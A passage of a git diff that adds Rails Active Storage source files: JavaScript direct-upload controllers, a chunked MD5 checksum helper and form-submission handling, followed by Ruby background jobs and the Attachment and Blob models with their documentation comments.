+    this.dispatch("before-blob-request", { xhr })
+  }
+
+  directUploadWillStoreFileWithXHR(xhr) {
+    this.dispatch("before-storage-request", { xhr })
+    xhr.upload.addEventListener("progress", event => this.uploadRequestDidProgress(event))
+
+    // Start simulating progress after upload completes
+    xhr.upload.addEventListener("loadend", () => {
+      this.simulateResponseProgress(xhr)
+    })
+  }
+
+  simulateResponseProgress(xhr) {
+    let progress = 90
+    const startTime = Date.now()
+
+    const updateProgress = () => {
+      // Simulate progress from 90% to 99% over estimated time
+      const elapsed = Date.now() - startTime
+      const estimatedResponseTime = this.estimateResponseTime()
+      const responseProgress = Math.min(elapsed / estimatedResponseTime, 1)
+      progress = 90 + (responseProgress * 9) // 90% to 99%
+
+      this.dispatch("progress", { progress })
+
+      // Continue until response arrives or we hit 99%
+      if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+        requestAnimationFrame(updateProgress)
+      }
+    }
+
+    // Stop simulation when response arrives
+    xhr.addEventListener("loadend", () => {
+      this.dispatch("progress", { progress: 100 })
+    })
+
+    requestAnimationFrame(updateProgress)
+  }
+
+  estimateResponseTime() {
+    // Base estimate: 1 second for small files, scaling up for larger files
+    const fileSize = this.file.size
+    const MB = 1024 * 1024
+
+    if (fileSize < MB) {
+      return 1000 // 1 second for files under 1MB
+    } else if (fileSize < 10 * MB) {
+      return 2000 // 2 seconds for files 1-10MB
+    } else {
+      return 3000 + (fileSize / MB * 50) // 3+ seconds for larger files
+    }
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/direct_uploads_controller.js b/activestorage/app/javascript/activestorage/direct_uploads_controller.js
new file mode 100644
index 0000000000000..94b89c9119d33
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/direct_uploads_controller.js
@@ -0,0 +1,50 @@
+import { DirectUploadController } from "./direct_upload_controller"
+import { findElements, dispatchEvent, toArray } from "./helpers"
+
+const inputSelector = "input[type=file][data-direct-upload-url]:not([disabled])"
+
+export class DirectUploadsController {
+  constructor(form) {
+    this.form = form
+    this.inputs = findElements(form, inputSelector).filter(input => input.files.length)
+  }
+
+  start(callback) {
+    const controllers = this.createDirectUploadControllers()
+
+    const startNextController = () => {
+      const controller = controllers.shift()
+      if (controller) {
+        controller.start(error => {
+          if (error) {
+            callback(error)
+            this.dispatch("end")
+          } else {
+            startNextController()
+          }
+        })
+      } else {
+        callback()
+        this.dispatch("end")
+      }
+    }
+
+    this.dispatch("start")
+    startNextController()
+  }
+
+  createDirectUploadControllers() {
+    const controllers = []
+    this.inputs.forEach(input => {
+      toArray(input.files).forEach(file => {
+        const controller = new DirectUploadController(input, file)
+        controllers.push(controller)
+      })
+    })
+    return controllers
+  }
+
+  dispatch(name, detail = {}) {
+    return dispatchEvent(this.form, `direct-uploads:${name}`, { detail })
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/file_checksum.js b/activestorage/app/javascript/activestorage/file_checksum.js
new file mode 100644
index 0000000000000..a9dbef69eaf40
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/file_checksum.js
@@ -0,0 +1,53 @@
+import SparkMD5 from "spark-md5"
+
+const fileSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice
+
+export class FileChecksum {
+  static create(file, callback) {
+    const instance = new FileChecksum(file)
+    instance.create(callback)
+  }
+
+  constructor(file) {
+    this.file = file
+    this.chunkSize = 2097152 // 2MB
+    this.chunkCount = Math.ceil(this.file.size / this.chunkSize)
+    this.chunkIndex = 0
+  }
+
+  create(callback) {
+    this.callback = callback
+    this.md5Buffer = new SparkMD5.ArrayBuffer
+    this.fileReader = new FileReader
+    this.fileReader.addEventListener("load", event => this.fileReaderDidLoad(event))
+    this.fileReader.addEventListener("error", event => this.fileReaderDidError(event))
+    this.readNextChunk()
+  }
+
+  fileReaderDidLoad(event) {
+    this.md5Buffer.append(event.target.result)
+
+    if (!this.readNextChunk()) {
+      const binaryDigest = this.md5Buffer.end(true)
+      const base64digest = btoa(binaryDigest)
+      this.callback(null, base64digest)
+    }
+  }
+
+  fileReaderDidError(event) {
+    this.callback(`Error reading ${this.file.name}`)
+  }
+
+  readNextChunk() {
+    if (this.chunkIndex < this.chunkCount || (this.chunkIndex == 0 && this.chunkCount == 0)) {
+      const start = this.chunkIndex * this.chunkSize
+      const end = Math.min(start + this.chunkSize, this.file.size)
+      const bytes = fileSlice.call(this.file, start, end)
+      this.fileReader.readAsArrayBuffer(bytes)
+      this.chunkIndex++
+      return true
+    } else {
+      return false
+    }
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/helpers.js b/activestorage/app/javascript/activestorage/helpers.js
new file mode 100644
index 0000000000000..7e83c447e780a
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/helpers.js
@@ -0,0 +1,51 @@
+export function getMetaValue(name) {
+  const element = findElement(document.head, `meta[name="${name}"]`)
+  if (element) {
+    return element.getAttribute("content")
+  }
+}
+
+export function findElements(root, selector) {
+  if (typeof root == "string") {
+    selector = root
+    root = document
+  }
+  const elements = root.querySelectorAll(selector)
+  return toArray(elements)
+}
+
+export function findElement(root, selector) {
+  if (typeof root == "string") {
+    selector = root
+    root = document
+  }
+  return root.querySelector(selector)
+}
+
+export function dispatchEvent(element, type, eventInit = {}) {
+  const { disabled } = element
+  const { bubbles, cancelable, detail } = eventInit
+  const event = document.createEvent("Event")
+
+  event.initEvent(type, bubbles || true, cancelable || true)
+  event.detail = detail || {}
+
+  try {
+    element.disabled = false
+    element.dispatchEvent(event)
+  } finally {
+    element.disabled = disabled
+  }
+
+  return event
+}
+
+export function toArray(value) {
+  if (Array.isArray(value)) {
+    return value
+  } else if (Array.from) {
+    return Array.from(value)
+  } else {
+    return [].slice.call(value)
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/index.js b/activestorage/app/javascript/activestorage/index.js
new file mode 100644
index 0000000000000..4f15c19ba6118
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/index.js
@@ -0,0 +1,14 @@
+import { start } from "./ujs"
+import { DirectUpload } from "./direct_upload"
+import { DirectUploadController } from "./direct_upload_controller"
+import { DirectUploadsController } from "./direct_uploads_controller"
+import { dispatchEvent } from "./helpers"
+export { start, DirectUpload, DirectUploadController, DirectUploadsController, dispatchEvent }
+
+function autostart() {
+  if (window.ActiveStorage) {
+    start()
+  }
+}
+
+setTimeout(autostart, 1)
diff --git a/activestorage/app/javascript/activestorage/ujs.js b/activestorage/app/javascript/activestorage/ujs.js
new file mode 100644
index 0000000000000..6f268056a5373
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/ujs.js
@@ -0,0 +1,86 @@
+import { DirectUploadsController } from "./direct_uploads_controller"
+import { findElement } from "./helpers"
+
+const processingAttribute = "data-direct-uploads-processing"
+const submitButtonsByForm = new WeakMap
+let started = false
+
+export function start() {
+  if (!started) {
+    started = true
+    document.addEventListener("click", didClick, true)
+    document.addEventListener("submit", didSubmitForm, true)
+    document.addEventListener("ajax:before", didSubmitRemoteElement)
+  }
+}
+
+function didClick(event) {
+  const button = event.target.closest("button, input")
+  if (button && button.type === "submit" && button.form) {
+    submitButtonsByForm.set(button.form, button)
+  }
+}
+
+function didSubmitForm(event) {
+  handleFormSubmissionEvent(event)
+}
+
+function didSubmitRemoteElement(event) {
+  if (event.target.tagName == "FORM") {
+    handleFormSubmissionEvent(event)
+  }
+}
+
+function handleFormSubmissionEvent(event) {
+  const form = event.target
+
+  if (form.hasAttribute(processingAttribute)) {
+    event.preventDefault()
+    return
+  }
+
+  const controller = new DirectUploadsController(form)
+  const { inputs } = controller
+
+  if (inputs.length) {
+    event.preventDefault()
+    form.setAttribute(processingAttribute, "")
+    inputs.forEach(disable)
+    controller.start(error => {
+      form.removeAttribute(processingAttribute)
+      if (error) {
+        inputs.forEach(enable)
+      } else {
+        submitForm(form)
+      }
+    })
+  }
+}
+
+function submitForm(form) {
+  let button = submitButtonsByForm.get(form) || findElement(form, "input[type=submit], button[type=submit]")
+
+  if (button) {
+    const { disabled } = button
+    button.disabled = false
+    button.focus()
+    button.click()
+    button.disabled = disabled
+  } else {
+    button = document.createElement("input")
+    button.type = "submit"
+    button.style.display = "none"
+    form.appendChild(button)
+    button.click()
+    form.removeChild(button)
+  }
+  submitButtonsByForm.delete(form)
+}
+
+function disable(input) {
+  input.disabled = true
+}
+
+function enable(input) {
+  input.disabled = false
+}
diff --git a/activestorage/app/jobs/active_storage/analyze_job.rb b/activestorage/app/jobs/active_storage/analyze_job.rb
new file mode 100644
index 0000000000000..44521f7931c82
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/analyze_job.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+# Provides asynchronous analysis of ActiveStorage::Blob records via ActiveStorage::Blob#analyze_later.
+class ActiveStorage::AnalyzeJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:analysis] }
+
+  discard_on ActiveRecord::RecordNotFound
+  retry_on ActiveStorage::IntegrityError, attempts: 10, wait: :polynomially_longer
+
+  def perform(blob)
+    blob.analyze
+  end
+end
diff --git a/activestorage/app/jobs/active_storage/base_job.rb b/activestorage/app/jobs/active_storage/base_job.rb
new file mode 100644
index 0000000000000..7bc2064dc5247
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/base_job.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class ActiveStorage::BaseJob < ActiveJob::Base
+end
diff --git a/activestorage/app/jobs/active_storage/create_variants_job.rb b/activestorage/app/jobs/active_storage/create_variants_job.rb
new file mode 100644
index 0000000000000..d7e219e07b650
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/create_variants_job.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+class ActiveStorage::CreateVariantsJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:transform] }
+
+  discard_on ActiveRecord::RecordNotFound
+  retry_on ActiveStorage::IntegrityError, attempts: 10, wait: :polynomially_longer
+
+  def perform(blob, variants:, process:)
+    @blob = blob
+    @process = process
+
+    create_preview_image if preview_image_needed?
+
+    variants.each do |transformations|
+      ActiveStorage::TransformJob.public_send(perform_method, @blob, transformations)
+    end
+  end
+
+  private
+    def create_preview_image
+      @blob.preview({}).processed
+    end
+
+    def preview_image_needed?
+      @blob.previewable? && !@blob.preview_image.attached?
+    end
+
+    def perform_method
+      (@process == :immediately) ? :perform_now : :perform_later
+    end
+end
diff --git a/activestorage/app/jobs/active_storage/mirror_job.rb b/activestorage/app/jobs/active_storage/mirror_job.rb
new file mode 100644
index 0000000000000..525c43b07da8c
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/mirror_job.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+
+# Provides asynchronous mirroring of directly-uploaded blobs.
+class ActiveStorage::MirrorJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:mirror] }
+
+  discard_on ActiveStorage::FileNotFoundError
+  retry_on ActiveStorage::IntegrityError, attempts: 10, wait: :polynomially_longer
+
+  def perform(key, checksum:)
+    ActiveStorage::Blob.service.try(:mirror, key, checksum: checksum)
+  end
+end
diff --git a/activestorage/app/jobs/active_storage/preview_image_job.rb b/activestorage/app/jobs/active_storage/preview_image_job.rb
new file mode 100644
index 0000000000000..559acbf0195f3
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/preview_image_job.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class ActiveStorage::PreviewImageJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:preview_image] }
+
+  discard_on ActiveRecord::RecordNotFound, ActiveStorage::UnrepresentableError
+  retry_on ActiveStorage::IntegrityError, attempts: 10, wait: :polynomially_longer
+
+  def initialize(*arguments)
+    ActiveStorage.deprecator.warn(<<~MSG.squish)
+      ActiveStorage::PreviewImageJob is no longer used by Rails.
+      It is deprecated and will be removed in Rails 9.0.
+      Use the ActiveStorage::CreateVariantsJob instead.
+    MSG
+    super
+  end
+
+  def perform(blob, variations)
+    blob.preview({}).processed
+
+    variations.each do |transformations|
+      ActiveStorage::TransformJob.perform_later(blob, transformations) if blob.representable?
+    end
+  end
+end
diff --git a/activestorage/app/jobs/active_storage/purge_job.rb b/activestorage/app/jobs/active_storage/purge_job.rb
new file mode 100644
index 0000000000000..34df12b151e87
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/purge_job.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+# Provides asynchronous purging of ActiveStorage::Blob records via ActiveStorage::Blob#purge_later.
+class ActiveStorage::PurgeJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:purge] }
+
+  discard_on ActiveRecord::RecordNotFound
+  retry_on ActiveRecord::Deadlocked, attempts: 10, wait: :polynomially_longer
+
+  def perform(blob)
+    blob.purge
+  end
+end
diff --git a/activestorage/app/jobs/active_storage/transform_job.rb b/activestorage/app/jobs/active_storage/transform_job.rb
new file mode 100644
index 0000000000000..598b1dfd65d27
--- /dev/null
+++ b/activestorage/app/jobs/active_storage/transform_job.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class ActiveStorage::TransformJob < ActiveStorage::BaseJob
+  queue_as { ActiveStorage.queues[:transform] }
+
+  discard_on ActiveRecord::RecordNotFound
+  retry_on ActiveStorage::IntegrityError, attempts: 10, wait: :polynomially_longer
+
+  def perform(blob, transformations)
+    blob.representation(transformations).processed
+  end
+end
diff --git a/activestorage/app/models/active_storage/attachment.rb b/activestorage/app/models/active_storage/attachment.rb
new file mode 100644
index 0000000000000..5ae6b7d86c6ca
--- /dev/null
+++ b/activestorage/app/models/active_storage/attachment.rb
@@ -0,0 +1,251 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/delegation"
+
+# = Active Storage \Attachment
+#
+# Attachments associate records with blobs. Usually that's a one record-many blobs relationship,
+# but it is possible to associate many different records with the same blob. A foreign-key constraint
+# on the attachments table prevents blobs from being purged if they’re still attached to any records.
+#
+# Attachments also have access to all methods from ActiveStorage::Blob.
+#
+# If you wish to preload attachments or blobs, you can use these scopes:
+#
+#   # preloads attachments, their corresponding blobs, and variant records (if using `ActiveStorage.track_variants`)
+#   User.all.with_attached_avatars
+#
+#   # preloads blobs and variant records (if using `ActiveStorage.track_variants`)
+#   User.first.avatars.with_all_variant_records
+class ActiveStorage::Attachment < ActiveStorage::Record
+  define_model_callbacks :upload
+
+  after_upload :mirror_blob_later
+  after_upload :analyze_blob_later
+  after_upload :create_variants
+
+  # Set to true when immediate variants have been processed from local io,
+  # so create_variants knows to skip them.
+  attr_accessor :immediate_variants_processed
+
+  # Set to true for fresh uploads (io provided), false for existing blobs.
+  # Used to determine whether to run :upload callbacks in after_create_commit.
+  attr_accessor :pending_upload
+
+  ##
+  # :method:
+  #
+  # Returns the associated record.
+  belongs_to :record, polymorphic: true, touch: ActiveStorage.touch_attachment_records
+
+  ##
+  # :method:
+  #
+  # Returns the associated ActiveStorage::Blob.
+  belongs_to :blob, class_name: "ActiveStorage::Blob", autosave: true, inverse_of: :attachments
+
+  delegate_missing_to :blob
+  delegate :signed_id, to: :blob
+
+  after_create_commit :run_upload_callbacks, unless: :pending_upload
+  after_destroy_commit :purge_dependent_blob_later
+
+  ##
+  # :singleton-method:
+  #
+  # Eager load all variant records on an attachment at once.
+  #
+  #   User.first.avatars.with_all_variant_records
+  scope :with_all_variant_records, -> { includes(blob: {
+    variant_records: { image_attachment: :blob },
+    preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+  }) }
+
+  # Called by Attached::Changes::CreateOne to handle the upload workflow for
+  # fresh uploads. Processes immediate variants and analyzes from the local io
+  # (avoiding a download round-trip), uploads the blob, then runs the :upload
+  # callbacks.
+  #
+  # For existing blob attachments, the :upload callbacks are run via
+  # after_create_commit instead.
+  def uploaded(io:)
+    blob.local_io = io
+
+    process_immediate_variants_from_io(io)
+    analyze_blob_from_io(io)
+
+    io.rewind if io.respond_to?(:rewind)
+    blob.upload_without_unfurling(io)
+
+    # Persist analysis metadata if the blob was already saved (happens when
+    # upload runs in after_commit, after the blob was saved via autosave).
+    blob.save! if blob.persisted? && blob.metadata_changed?
+
+    run_upload_callbacks
+  ensure
+    blob.local_io = nil
+  end
+
+  # Synchronously deletes the attachment and {purges the blob}[rdoc-ref:ActiveStorage::Blob#purge].
+  def purge
+    transaction do
+      delete
+      record.touch if record&.persisted?
+    end
+    blob&.purge
+  end
+
+  # Deletes the attachment and {enqueues a background job}[rdoc-ref:ActiveStorage::Blob#purge_later] to purge the blob.
+  def purge_later
+    transaction do
+      delete
+      record.touch if record&.persisted?
+    end
+    blob&.purge_later
+  end
+
+  # Returns an ActiveStorage::Variant or ActiveStorage::VariantWithRecord
+  # instance for the attachment with the set of +transformations+ provided.
+  # Example:
+  #
+  #   avatar.variant(resize_to_limit: [100, 100]).processed.url
+  #
+  # or if you are using pre-defined variants:
+  #
+  #   avatar.variant(:thumb).processed.url
+  #
+  # See ActiveStorage::Blob::Representable#variant for more information.
+  #
+  # Raises an +ArgumentError+ if +transformations+ is a +Symbol+ which is an
+  # unknown pre-defined variant of the attachment.
+  def variant(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.variant(transformations)
+  end
+
+  # Returns an ActiveStorage::Preview instance for the attachment with the set
+  # of +transformations+ provided.
+  # Example:
+  #
+  #   video.preview(resize_to_limit: [100, 100]).processed.url
+  #
+  # or if you are using pre-defined variants:
+  #
+  #   video.preview(:thumb).processed.url
+  #
+  # See ActiveStorage::Blob::Representable#preview for more information.
+  #
+  # Raises an +ArgumentError+ if +transformations+ is a +Symbol+ which is an
+  # unknown pre-defined variant of the attachment.
+  def preview(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.preview(transformations)
+  end
+
+  # Returns an ActiveStorage::Preview or an ActiveStorage::Variant for the
+  # attachment with set of +transformations+ provided.
+  # Example:
+  #
+  #   avatar.representation(resize_to_limit: [100, 100]).processed.url
+  #
+  # or if you are using pre-defined variants:
+  #
+  #   avatar.representation(:thumb).processed.url
+  #
+  # See ActiveStorage::Blob::Representable#representation for more information.
+  #
+  # Raises an +ArgumentError+ if +transformations+ is a +Symbol+ which is an
+  # unknown pre-defined variant of the attachment.
+  def representation(transformations)
+    transformations = transformations_by_name(transformations)
+    blob.representation(transformations)
+  end
+
+  private
+    def run_upload_callbacks
+      run_callbacks(:upload)
+    end
+
+    def analyze_blob_later
+      blob.analyze_later unless blob.analyzed? || skip_later_analysis?
+    end
+
+    def analyze_blob_from_io(io)
+      return if blob.analyzed? || skip_later_analysis?
+
+      io.rewind if io.respond_to?(:rewind)
+      blob.analyze_without_saving
+    end
+
+    def skip_later_analysis?
+      (analyze_option || ActiveStorage.analyze) == :lazily
+    end
+
+    def analyze_option
+      record.attachment_reflections[name]&.options&.fetch(:analyze, nil)
+    end
+
+    def mirror_blob_later
+      blob.mirror_later
+    end
+
+    def process_immediate_variants_from_io(io)
+      return unless blob.variable?
+
+      named_variants.each do |_variant_name, named_variant|
+        next unless named_variant.process(record) == :immediately
+
+        blob.variant(named_variant.transformations).process_from_io(io)
+        io.rewind if io.respond_to?(:rewind)
+      end
+
+      self.immediate_variants_processed = true
+    end
+
+    def create_variants
+      return unless representable?
+
+      immediate_variants = []
+      later_variants     = []
+
+      named_variants.each do |_name, named_variant|
+        case named_variant.process(record)
+        when :immediately
+          # Skip if already processed from local io in uploaded()
+          immediate_variants << named_variant.transformations unless immediate_variants_processed
+        when :later
+          later_variants << named_variant.transformations
+        end
+      end
+
+      ActiveStorage::CreateVariantsJob.perform_now(blob, variants: immediate_variants, process: :immediately) if immediate_variants.any?
+      ActiveStorage::CreateVariantsJob.perform_later(blob, variants: later_variants, process: :later) if later_variants.any?
+    end
+
+    def purge_dependent_blob_later
+      blob&.purge_later if dependent == :purge_later
+    end
+
+    def dependent
+      record.attachment_reflections[name]&.options&.fetch(:dependent, nil)
+    end
+
+    def named_variants
+      record.attachment_reflections[name]&.named_variants || {}
+    end
+
+    def transformations_by_name(transformations)
+      case transformations
+      when Symbol
+        variant_name = transformations
+        named_variants.fetch(variant_name) do
+          record_model_name = record.to_model.model_name.name
+          raise ArgumentError, "Cannot find variant :#{variant_name} for #{record_model_name}##{name}"
+        end.transformations
+      else
+        transformations
+      end
+    end
+end
+
+ActiveSupport.run_load_hooks :active_storage_attachment, ActiveStorage::Attachment
diff --git a/activestorage/app/models/active_storage/blob.rb b/activestorage/app/models/active_storage/blob.rb
new file mode 100644
index 0000000000000..e2f7f24dcda0e
--- /dev/null
+++ b/activestorage/app/models/active_storage/blob.rb
@@ -0,0 +1,408 @@
+# frozen_string_literal: true
+
+# = Active Storage \Blob
+#
+# A blob is a record that contains the metadata about a file and a key for where that file resides on the service.
+# Blobs can be created in two ways:
+#
+# 1. Ahead of the file being uploaded server-side to the service, via <tt>create_and_upload!</tt>. A rewindable
+#    <tt>io</tt> with the file contents must be available at the server for this operation.
+# 2. Ahead of the file being directly uploaded client-side to the service, via <tt>create_before_direct_upload!</tt>.
+#
+# The first option doesn't require any client-side JavaScript integration, and can be used by any other back-end
+# service that deals with files. The second option is faster, since you're not using your own server as a staging
+# point for uploads, and can work with deployments like Heroku that do not provide large amounts of disk space.
+#
+# Blobs are intended to be immutable in as-so-far as their reference to a specific file goes. You're allowed to
+# update a blob's metadata on a subsequent pass, but you should not update the key or change the uploaded file.
+# If you need to create a derivative or otherwise change the blob, simply create a new blob and purge the old one.
+class ActiveStorage::Blob < ActiveStorage::Record
+  MINIMUM_TOKEN_LENGTH = 28
+
+  has_secure_token :key, length: MINIMUM_TOKEN_LENGTH
+  store :metadata, accessors: [ :analyzed, :identified, :composed ], coder: ActiveRecord::Coders::JSON
+
+  # Temporary reference to a local io during the upload flow. When set,
+  # +open+ will use this instead of downloading from the service. This
+  # enables analysis and other operations to run on the local file before
+  # uploading, avoiding a download round-trip.
+  attr_accessor :local_io
+
+  class_attribute :services, default: {}
+  class_attribute :service, instance_accessor: false
+
+  ##
+  # :method:
+  #
+  # Returns the associated ActiveStorage::Attachment instances.
+  has_many :attachments, autosave: false
+
+  ##
+  # :singleton-method:
+  #
+  # Returns the blobs that aren't attached to any record.
+  scope :unattached, -> { where.missing(:attachments) }
+
+  after_initialize do
+    self.service_name ||= self.class.service&.name
+  end
+
+  after_update :touch_attachments
+
+  after_update_commit :update_service_metadata, if: -> { content_type_previously_changed? || metadata_previously_changed? }
+
+  before_destroy(prepend: true) do
+    raise ActiveRecord::InvalidForeignKey if attachments.exists?
+  end
+
+  validates :service_name, presence: true
+  validates :checksum, presence: true, unless: :composed
+
+  validate do
+    if service_name_changed? && service_name.present?
+      services.fetch(service_name) do
+        errors.add(:service_name, :invalid)
+      end
+    end
+  end
+
+  class << self
+    # You can use the signed ID of a blob to refer to it on the client side without fear of tampering.
+    # This is particularly helpful for direct uploads where the client-side needs to refer to the blob
+    # that was created ahead of the upload itself on form submission.
+    #
+    # The signed ID is also used to create stable URLs for the blob through the BlobsController.
+    def find_signed(id, record: nil, purpose: :blob_id)
+      super(id, purpose: purpose)
+    end
+
+    # Works like +find_signed+, but will raise an +ActiveSupport::MessageVerifier::InvalidSignature+
+    # exception if the +signed_id+ has either expired, has a purpose mismatch, or has been tampered with.
+    # It will also raise an +ActiveRecord::RecordNotFound+ exception if the valid signed id can't find a record.
+    def find_signed!(id, record: nil, purpose: :blob_id)
+      super(id, purpose: purpose)
+    end
+
+    def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil) # :nodoc:
+      new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
+        blob.unfurl(io, identify: identify)
+      end
+    end
+
+    def create_after_unfurling!(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil) # :nodoc:
+      build_after_unfurling(key: key, io: io, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name, identify: identify).tap(&:save!)
+    end
+
+    # Creates a new blob instance and then uploads the contents of
+    # the given <tt>io</tt> to the service. The blob instance is going to
+    # be saved before the upload begins to prevent the upload clobbering another due to key collisions.
+    # When providing a content type, pass <tt>identify: false</tt> to bypass
+    # automatic content type inference.
+    def create_and_upload!(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
+      create_after_unfurling!(key: key, io: io, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name, identify: identify).tap do |blob|
+        blob.upload_without_unfurling(io)
+      end
+    end
+
+    # Returns a saved blob _without_ uploading a file to the service. This blob will point to a key where there is
+    # no file yet. It's intended to be used together with a client-side upload, which will first create the blob
+    # in order to produce the signed URL for uploading. This signed URL points to the key generated by the blob.
+    # Once the form using the direct upload is submitted, the blob can be associated with the right record using
+    # the signed ID.
+    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
+      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name
+    end
+
+    # To prevent problems with case-insensitive filesystems, especially in combination
+    # with databases which treat indices as case-sensitive, all blob keys generated are going
+    # to only contain the base-36 character alphabet and will therefore be lowercase. To maintain
+    # the same or higher amount of entropy as in the base-58 encoding used by +has_secure_token+
+    # the number of bytes used is increased to 28 from the standard 24
+    def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+      SecureRandom.base36(length)
+    end
+
+    # Customize signed ID purposes for backwards compatibility.
+    def combine_signed_id_purposes(purpose) # :nodoc:
+      purpose.to_s
+    end
+
+    # Customize the default signed ID verifier for backwards compatibility.
+    #
+    # We override the reader (.signed_id_verifier) instead of just calling the writer (.signed_id_verifier=)
+    # to guard against the case where ActiveStorage.verifier isn't yet initialized at load time.
+    def signed_id_verifier # :nodoc:
+      @signed_id_verifier ||= ActiveStorage.verifier
+    end
+
+    def scope_for_strict_loading # :nodoc:
+      if strict_loading_by_default? && ActiveStorage.track_variants
+        includes(
+          variant_records: { image_attachment: :blob },
+          preview_image_attachment: { blob: { variant_records: { image_attachment: :blob } } }
+        )
+      else
+        all
+      end
+    end
+
+    # Concatenate multiple blobs into a single "composed" blob.
+    def compose(blobs, key: nil, filename:, content_type: nil, metadata: nil)
+      raise ActiveRecord::RecordNotSaved, "All blobs must be persisted." if blobs.any?(&:new_record?)
+
+      content_type ||= blobs.pluck(:content_type).compact.first
+
+      new(key: key, filename: filename, content_type: content_type, metadata: metadata, byte_size: blobs.sum(&:byte_size)).tap do |combined_blob|
+        combined_blob.compose(blobs.pluck(:key))
+        combined_blob.save!
+      end
+    end
+  end
+
+  include Analyzable
+  include Identifiable
+  include Representable
+  include Servable
+
+  # Returns a signed ID for this blob that's suitable for reference on the client-side without fear of tampering.
+  def signed_id(purpose: :blob_id, expires_in: nil, expires_at: nil)
+    super
+  end
+
+  # Returns the key pointing to the file on the service that's associated with this blob. The key is the
+  # secure-token format from \Rails in lower case. So it'll look like: xtapjjcjiudrlk3tmwyjgpuobabd.
+  # This key is not intended to be revealed directly to the user.
+  # Always refer to blobs using the signed_id or a verified form of the key.
+  def key
+    # We can't wait until the record is first saved to have a key for it
+    self[:key] ||= self.class.generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+  end
+
+  # Returns an ActiveStorage::Filename instance of the filename that can be
+  # queried for basename, extension, and a sanitized version of the filename
+  # that's safe to use in URLs.
+  def filename
+    ActiveStorage::Filename.new(self[:filename])
+  end
+
+  def custom_metadata
+    self[:metadata][:custom] || {}
+  end
+
+  def custom_metadata=(metadata)
+    self[:metadata] = self[:metadata].merge(custom: metadata)
+  end
+
+  # Returns true if the content_type of this blob is in the image range, like image/png.
+  def image?
+    content_type.start_with?("image")
+  end
+
+  # Returns true if the content_type of this blob is in the audio range, like audio/mpeg.
+  def audio?
+    content_type.start_with?("audio")
+  end
+
+  # Returns true if the content_type of this blob is in the video range, like video/mp4.
+  def video?
+    content_type.start_with?("video")
+  end
+
+  # Returns true if the content_type of this blob is in the text range, like text/plain.
+  def text?
+    content_type.start_with?("text")
+  end
+
+  # Returns the URL of the blob on the service. This returns a permanent URL for public files, and returns a
+  # short-lived URL for private files. Private files are signed, and not for public use. Instead,
+  # the URL should only be exposed as a redirect from a stable, possibly authenticated URL. Hiding the
+  # URL behind a redirect also allows you to change services without updating all URLs.
+  def url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline, filename: nil, **options)
+    service.url key, expires_in: expires_in, filename: ActiveStorage::Filename.wrap(filename || self.filename),
+      content_type: content_type_for_serving, disposition: forced_disposition_for_serving || disposition, **options
+  end
+
+  # Returns a URL that can be used to directly upload a file for this blob on the service. This URL is intended to be
+  # short-lived for security and only generated on-demand by the client-side JavaScript responsible for doing the uploading.
+  def service_url_for_direct_upload(expires_in: ActiveStorage.service_urls_expire_in)
+    service.url_for_direct_upload key, expires_in: expires_in, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata
+  end
+
+  # Returns a Hash of headers for +service_url_for_direct_upload+ requests.
+  def service_headers_for_direct_upload
+    service.headers_for_direct_upload key, filename: filename, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata
+  end
+
+
+  # Uploads the +io+ to the service on the +key+ for this blob. Blobs are intended to be immutable, so you shouldn't be
+  # using this method after a file has already been uploaded to fit with a blob. If you want to create a derivative blob,
+  # you should instead simply create a new blob based on the old one.
+  #
+  # Prior to uploading, we compute the checksum, which is sent to the service for transit integrity validation. If the
+  # checksum does not match what the service receives, an exception will be raised. We also measure the size of the +io+
+  # and store that in +byte_size+ on the blob record. The content type is automatically extracted from the +io+ unless
+  # you specify a +content_type+ and pass +identify+ as false.
+  #
